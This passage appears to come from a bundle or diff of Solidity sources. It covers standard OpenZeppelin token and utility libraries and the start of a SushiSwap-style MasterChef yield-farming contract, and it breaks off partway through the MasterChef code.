message unnecessarily. For custom revert reasons use {trySub}.\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n return a - b;\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers, reverting with custom message on\n * division by zero. The result is rounded towards zero.\n *\n * CAUTION: This function is deprecated because it requires allocating memory for the error\n * message unnecessarily. For custom revert reasons use {tryDiv}.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n return a / b;\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * reverting with custom message when dividing by zero.\n *\n * CAUTION: This function is deprecated because it requires allocating memory for the error\n * message unnecessarily. For custom revert reasons use {tryMod}.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n return a % b;\n }\n}\n", + "@openzeppelin/contracts/token/ERC20/ERC20.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\nimport \"../../utils/Context.sol\";\nimport \"./IERC20.sol\";\nimport \"../../math/SafeMath.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin guidelines: functions revert instead\n * of returning `false` on failure. This behavior is nonetheless conventional\n * and does not conflict with the expectations of ERC20 applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20 {\n using SafeMath for uint256;\n\n mapping (address => uint256) private _balances;\n\n mapping (address => mapping (address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n\n /**\n * @dev Sets the values for {name} and {symbol}, initializes {decimals} with\n * a default value of 18.\n *\n * To select a different value for {decimals}, use {_setupDecimals}.\n *\n * All three of these values are immutable: they can only be set once during\n * construction.\n */\n constructor (string memory name_, string memory symbol_) public {\n _name = name_;\n _symbol = symbol_;\n _decimals = 18;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is\n * called.\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `recipient` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * Requirements:\n *\n * - `sender` and `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n * - the caller must have allowance for ``sender``'s tokens of at least\n * `amount`.\n */\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, \"ERC20: transfer amount exceeds allowance\"));\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, \"ERC20: decreased allowance below zero\"));\n return true;\n }\n\n /**\n * @dev Moves tokens `amount` from `sender` to `recipient`.\n *\n * This is internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `sender` cannot be the zero address.\n * - `recipient` cannot be the zero address.\n * - `sender` must have a balance of at least `amount`.\n */\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(address owner, address spender, uint256 amount) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Sets {decimals} to a value other than the default one of 18.\n *\n * WARNING: This function should only be called from the constructor. Most\n * applications that interact with token contracts will not expect\n * {decimals} to ever change, and may work incorrectly if it does.\n */\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be to transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\n}\n", + "@openzeppelin/contracts/token/ERC20/IERC20.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}\n", + "@openzeppelin/contracts/token/ERC20/SafeERC20.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"../../math/SafeMath.sol\";\nimport \"../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using SafeMath for uint256;\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n // solhint-disable-next-line max-line-length\n require((value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 newAllowance = token.allowance(address(this), spender).add(value);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 newAllowance = token.allowance(address(this), spender).sub(value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n if (returndata.length > 0) { // Return data is optional\n // solhint-disable-next-line max-line-length\n require(abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n }\n}\n", + "@openzeppelin/contracts/utils/Address.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.2 <0.8.0;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize, which returns 0 for contracts in\n // construction, since the code is only stored at the end of the\n // constructor execution.\n\n uint256 size;\n // solhint-disable-next-line no-inline-assembly\n assembly { size := extcodesize(account) }\n return size > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\n (bool success, ) = recipient.call{ value: amount }(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain`call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.staticcall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n", + "@openzeppelin/contracts/utils/Context.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/*\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with GSN meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\n return msg.data;\n }\n}\n", + "@openzeppelin/contracts/utils/EnumerableSet.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Library for managing\n * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive\n * types.\n *\n * Sets have the following properties:\n *\n * - Elements are added, removed, and checked for existence in constant time\n * (O(1)).\n * - Elements are enumerated in O(n). No guarantees are made on the ordering.\n *\n * ```\n * contract Example {\n * // Add the library methods\n * using EnumerableSet for EnumerableSet.AddressSet;\n *\n * // Declare a set state variable\n * EnumerableSet.AddressSet private mySet;\n * }\n * ```\n *\n * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)\n * and `uint256` (`UintSet`) are supported.\n */\nlibrary EnumerableSet {\n // To implement this library for multiple types with as little code\n // repetition as possible, we write it in terms of a generic Set type with\n // bytes32 values.\n // The Set implementation uses private functions, and user-facing\n // implementations (such as AddressSet) are just wrappers around the\n // underlying Set.\n // This means that we can only create new EnumerableSets for types that fit\n // in bytes32.\n\n struct Set {\n // Storage of set values\n bytes32[] _values;\n\n // Position of the value in the `values` array, plus 1 because index 0\n // means a value is not in the set.\n mapping (bytes32 => uint256) _indexes;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n // The value is stored at length-1, but we add 1 to all indexes\n // and use 0 as a sentinel value\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n // We read and store the value's index to prevent multiple reads from the same storage slot\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) { // Equivalent to contains(set, value)\n // To delete an element from the _values array in O(1), we swap the element to delete with the last one in\n // the array, and then remove the last element (sometimes called as 'swap and pop').\n // This modifies the order of the array, as noted in {at}.\n\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs\n // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.\n\n bytes32 lastvalue = set._values[lastIndex];\n\n // Move the last value to the index where the value to delete is\n set._values[toDeleteIndex] = lastvalue;\n // Update the index for the moved value\n set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based\n\n // Delete the slot where the moved value was stored\n set._values.pop();\n\n // Delete the index for the deleted slot\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function _contains(Set storage set, bytes32 value) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function _at(Set storage set, uint256 index) private view returns (bytes32) {\n require(set._values.length > index, \"EnumerableSet: index out of bounds\");\n return set._values[index];\n }\n\n // Bytes32Set\n\n struct Bytes32Set {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n // AddressSet\n\n struct AddressSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(AddressSet storage set, address value) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(AddressSet storage set, address value) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(AddressSet storage set, address value) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n /**\n * @dev Returns the number of values in the set. O(1).\n */\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(AddressSet storage set, uint256 index) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n\n // UintSet\n\n struct UintSet {\n Set _inner;\n }\n\n /**\n * @dev Add a value to a set. O(1).\n *\n * Returns true if the value was added to the set, that is if it was not\n * already present.\n */\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n /**\n * @dev Removes a value from a set. O(1).\n *\n * Returns true if the value was removed from the set, that is if it was\n * present.\n */\n function remove(UintSet storage set, uint256 value) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns true if the value is in the set. O(1).\n */\n function contains(UintSet storage set, uint256 value) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n /**\n * @dev Returns the number of values on the set. O(1).\n */\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n /**\n * @dev Returns the value stored at position `index` in the set. O(1).\n *\n * Note that there are no guarantees on the ordering of values inside the\n * array, and it may change when more values are added or removed.\n *\n * Requirements:\n *\n * - `index` must be strictly less than {length}.\n */\n function at(UintSet storage set, uint256 index) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n}\n", + "contracts/MasterChef.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/SafeERC20.sol\";\nimport \"@openzeppelin/contracts/utils/EnumerableSet.sol\";\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\nimport \"@openzeppelin/contracts/access/Ownable.sol\";\nimport \"./SushiToken.sol\";\n\ninterface IMigratorChef {\n // Perform LP token migration from legacy UniswapV2 to SushiSwap.\n // Take the current LP token address and return the new LP token address.\n // Migrator should have full access to the caller's LP token.\n // Return the new LP token address.\n //\n // XXX Migrator must have allowance access to UniswapV2 LP tokens.\n // SushiSwap must mint EXACTLY the same amount of SushiSwap LP tokens or\n // else something bad will happen. Traditional UniswapV2 does not\n // do that so be careful!\n function migrate(IERC20 token) external returns (IERC20);\n}\n\n// MasterChef is the master of Sushi. He can make Sushi and he is a fair guy.\n//\n// Note that it's ownable and the owner wields tremendous power. The ownership\n// will be transferred to a governance smart contract once SUSHI is sufficiently\n// distributed and the community can show to govern itself.\n//\n// Have fun reading it. Hopefully it's bug-free. God bless.\ncontract MasterChef is Ownable {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n // Info of each user.\n struct UserInfo {\n uint256 amount; // How many LP tokens the user has provided.\n uint256 rewardDebt; // Reward debt. See explanation below.\n //\n // We do some fancy math here. Basically, any point in time, the amount of SUSHIs\n // entitled to a user but is pending to be distributed is:\n //\n // pending reward = (user.amount * pool.accSushiPerShare) - user.rewardDebt\n //\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\n // 1. The pool's `accSushiPerShare` (and `lastRewardBlock`) gets updated.\n // 2. User receives the pending reward sent to his/her address.\n // 3. User's `amount` gets updated.\n // 4. User's `rewardDebt` gets updated.\n }\n // Info of each pool.\n struct PoolInfo {\n IERC20 lpToken; // Address of LP token contract.\n uint256 allocPoint; // How many allocation points assigned to this pool. SUSHIs to distribute per block.\n uint256 lastRewardBlock; // Last block number that SUSHIs distribution occurs.\n uint256 accSushiPerShare; // Accumulated SUSHIs per share, times 1e12. See below.\n }\n // The 